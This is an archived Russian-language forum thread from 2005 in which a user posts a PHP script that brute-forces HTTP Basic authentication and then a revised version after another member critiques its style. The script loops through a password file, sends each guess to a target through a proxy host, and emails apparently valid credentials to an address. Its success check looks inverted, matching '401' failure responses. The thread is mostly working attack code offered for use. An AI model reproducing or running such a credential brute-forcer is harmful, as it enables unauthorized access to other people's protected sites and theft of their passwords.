PDA

Просмотр полной версии : Http брут на Php


dim_ok
07.05.2005, 18:34
Ну типа зарисовочка, please report bugs.

<?
set_time_limit(0);
ignore_user_abort(1);
error_reporting(0);
$open_host="$host";
$open_port="80";
$main_url2="$targethost";
$refer2="$host";
$file = "p.txt";
if( @$host && @$targethost){
$fp = @fopen($file,"r");
if(!$fp) {
die("Cannot open file");
} else {
while($pas = @fgets($fp,1024)){

$sock = fsockopen($open_host, $open_port, $errno, $errstr, 10);
fputs($sock, "GET ".$main_url2." HTTP/1.0\r\n");
fputs($sock, "Accept: */*\r\n");
fputs($sock, "Accept-Language: en\r\n");
fputs($sock, "Pragma: no-cache\r\n");
fputs($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n");
fputs($sock, "Host: ".$host."\r\n");
fputs($sock, "Proxy-Connection: Keep-Alive\r\n");
fputs($sock, "Referer: ".$refer2."\r\n");
fputs($sock, "Authorization: Basic ".base64_encode("$pas")."\r\n");
fputs($sock, "\r\n");
$u=fread($sock, 100);
for($x=0;$x < 900;$x++){
$headers = fgets ($sock, 4096);
@$a=$a.$headers;}
fclose($sock);
@$good=eregi("(Authorization Required)", $a);
$a="0";
if(@$good){
mail("Your@mail.here", "http good ($targethost)", "$pas@$targethost\r\n", "from: blya@mail.com\n");
}else{

fsockopen($open_host, $open_port, $errno, $errstr, 10);
}
}
}
}


else {
print ("<h4>http</h4>
<form method=post action=".$PHP_SELF.">
<BR>host<input type=text name=host>
<BR>targethost<input type=text name=targethost>
<input type=submit value='Go'>
</form>");
}

?>

Trinux
07.05.2005, 20:11
Ну вот, а спрашивал. Только зачем такая куча @ ? И вообще, вот такая фигня
if( @$host && @$targethost){
мне лично не нравится. Во-первых, давно я уже не видел апчей. которые выводят настолько подробные сообщения о ошибках (в последнее время модно стало вообще не выводить ошибки). Во-вторых, ну неужели влом написать isset($host) или хотябы $host!="". Это правильнее. Мое мнение =) Каждый пишет по своему. И eregi, насколько я помню, по скорости проигрывает preg_match(). Вот. Ну и к коду я еще долго могу предираться.

dim_ok
07.05.2005, 20:54
Ну вот, а спрашивал. Только зачем такая куча @ ? И вообще, вот такая фигня
if( @$host && @$targethost){
мне лично не нравится. Во-первых, давно я уже не видел апчей. которые выводят настолько подробные сообщения о ошибках (в последнее время модно стало вообще не выводить ошибки). Во-вторых, ну неужели влом написать isset($host) или хотябы $host!="". Это правильнее. Мое мнение =) Каждый пишет по своему. И eregi, насколько я помню, по скорости проигрывает preg_match(). Вот. Ну и к коду я еще долго могу предираться.
А с кодом все это можно?

dim_ok
07.05.2005, 23:09
Чуть подправил.

<?
set_time_limit(0);
ignore_user_abort(1);
error_reporting(0);
$open_host="$host";
$open_port="80";
$main_url2="$targethost";
$refer2="$host";
$file = "p.txt";
if(isset($host , $targethost)){
$fp = @fopen($file,"r");
if(!$fp) {
die("Cannot open file");
} else {
while($pas = @fgets($fp,1024)){

$sock = fsockopen($open_host, $open_port, $errno, $errstr, 10);
fputs($sock, "GET ".$main_url2." HTTP/1.0\r\n");
fputs($sock, "Accept: */*\r\n");
fputs($sock, "Accept-Language: en\r\n");
fputs($sock, "Pragma: no-cache\r\n");
fputs($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n");
fputs($sock, "Host: ".$host."\r\n");
fputs($sock, "Proxy-Connection: Keep-Alive\r\n");
fputs($sock, "Referer: ".$refer2."\r\n");
fputs($sock, "Authorization: Basic ".base64_encode("$pas")."\r\n");
fputs($sock, "\r\n");
$u=fread($sock, 100);
for($x=0;$x < 900;$x++){
$headers = fgets ($sock, 4096);
@$a=$a.$headers;}
fclose($sock);
@$good=eregi("(401)", $a);
$a="0";
if(@$good){
mail("Your@mail.here", "http good ($targethost)", "$pas@$targethost\r\n", "from: blya@mail.com\n");
}else{

fsockopen($open_host, $open_port, $errno, $errstr, 10);
}
}
}
}


else {
print ("<h4>http</h4>
<form method=post action=".$PHP_SELF.">
<BR>host<input type=text name=host>
<BR>targethost<input type=text name=targethost>
<input type=submit value='Go'>
</form>");
}

?>